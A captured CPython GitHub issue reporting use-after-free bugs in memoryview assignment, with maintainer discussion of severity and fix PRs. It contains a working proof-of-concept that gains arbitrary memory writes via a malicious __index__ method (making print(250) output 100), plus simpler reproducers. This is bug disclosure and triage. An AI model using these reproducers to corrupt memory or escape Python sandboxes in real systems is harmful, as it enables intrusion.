GeezerVison is showing github.com — Use After Free when assigning into a memoryview · Issue #92888 · python/cpython
Use After Free when assigning into a memoryview #92888Labels interpreter-core(Objects, Python, Grammar, and Parser dirs)(Objects, Python, Grammar, and Parser dirs)type-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or errortype-crashA hard crash of the interpreter, possibly with a core dumpA hard crash of the interpreter, possibly with a core dump Description
Bug report
within memoryview.c, I have found two Use After Frees, both based around memory_ass_sub.
The first is if a class with a malicious __index__ method is used as the index for the assignment, its index method is called after the memoryview is checked if it is released. This allows the index method to release the memory view and backing buffer, leading to a write to freed memory when the write completes. The same vuln exists if the class with a malicious index method is used as the assigned value, as its __index__ method is called inside of pack_single
# memoryview Use After Free (memory_ass_sub)
uaf_backing = bytearray(bytearray.__basicsize__)
uaf_view = memoryview(uaf_backing).cast('n') # ssize_t format
class weird_index:
def __index__(self):
global memory_backing
uaf_view.release() # release memoryview (UAF)
# free `uaf_backing` memory and allocate a new bytearray into it
memory_backing = uaf_backing.clear() or bytearray()
return 2 # `ob_size` idx
# by the time this line finishes executing, it writes the max ptr size
# into the `ob_size` slot of `memory_backing`
uaf_view[weird_index()] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2
memory = memoryview(memory_backing)
memory[id(250) + int.__basicsize__] = 100
print(250) # prints 100Your environment
- CPython versions tested on: Python 3.10.2 (main, Feb 2 2022, 07:36:01) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin
- Operating system and architecture: MacOS, 64bit
Activitychilaxan commented on May 17, 2022 ContributorAuthor More actions 
Tested on 3.12.0 built with ./configure --enable-optimizations
Fidget-Spinner commented on May 19, 2022 @vstinner would you class this as a security vuln or just a user bug? IMO it's definitely a bug that we should fix on our end considering memorview promises to raise ValueError after .release. But there exists many ways to corrupt memory in CPython and write to arbitrary addresses (e.g. ctypes or compiling your own bytecode with malicious LOAD_FAST instructions). So I'm not sure if you would class this as a vuln? Fidget-Spinner commented on May 19, 2022 serhiy-storchaka commented on May 19, 2022 Nice. Many thanks to you @chilaxan for the reproducer. It only works on non-debug build, but I am sure that it is possible to get the same result on a debug build if slightly change the code.
This is definitely a serious bug, but I am not sure that it can be classified as a practical security vulnerability. Of course the bug can manifest not only with malicious __index__ (it is just a convenient way to reproduce it consistently), but with any __index__ implemented in Python if you use memoryview and multithreading. You only need to be exceptionally (un)lucky to get it. In theory the attacker can attack the program which have all three components (threads, writing to memoryview and objects with Python implemented __index__), but it is pure hypothetical scenario. kumaraditya303 commented on May 19, 2022 See also #91153 which is a similar bug but with bytearray. gvanrossum commented on May 19, 2022 We should fix both but once an attacker can execute this code they have full control already, so not a vulnerability. Reacted by Erlend E. Aasland and Ken Jin serhiy-storchaka commented on May 23, 2022 Here are simpler examples (they work on debug build):
size = 100
class MyIndex:
def __index__(self):
m.release()
global ba
ba = bytearray(size)
return 4
ba = None
m = memoryview(bytearray(b'\xff'*size))
m[MyIndex()] = 42
print(ba[4]) # prints 42, should be 0
ba = None
m = memoryview(bytearray(b'\xff'*size))
m[:MyIndex()] = b'spam'
print(ba[:4]) # prints bytearray(b'spam'), should be bytearray(b'\x00\x00\x00\x00')
ba = None
m = memoryview(bytearray(b'\xff'*size))
m[1] = MyIndex()
print(ba[1]) # prints 4, should be 0Reacted by Erlend E. Aasland vstinner commented on May 23, 2022
@vstinner would you class this as a security vuln or just a user bug?
If you ask me, the exploit makes the assumption than a attacker can execute arbitrary Python code. It doesn't fit into Python Security Model: https://python-security.readthedocs.io/security.html#python-security-model
I consider this issue as a regular bug.
Python doesn't provide any warranty that it's impossible to crash Python with malicious code. Using ctypes you can read/write arbitrary memory. vstinner commented on May 23, 2022 I propose #93127 to fix this issue in memory_ass_sub(). But memory_subscript() seems to also be affected. Fidget-Spinner commented on May 23, 2022 Victor, I opened a PR earlier to fix it at #92946. Dang I really hope this didn't cause double work for you. vstinner commented on May 23, 2022 Oh, I'm not used to the new GitHub UI which lists PR as non-comments but the other thing (notifications? mentions? I don't know how to call it).
MetadataMetadatainterpreter-core(Objects, Python, Grammar, and Parser dirs)(Objects, Python, Grammar, and Parser dirs)type-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or errortype-crashA hard crash of the interpreter, possibly with a core dumpA hard crash of the interpreter, possibly with a core dump StatusShow more project fields
DevelopmentNo branches or pull requestsIssue actions
|
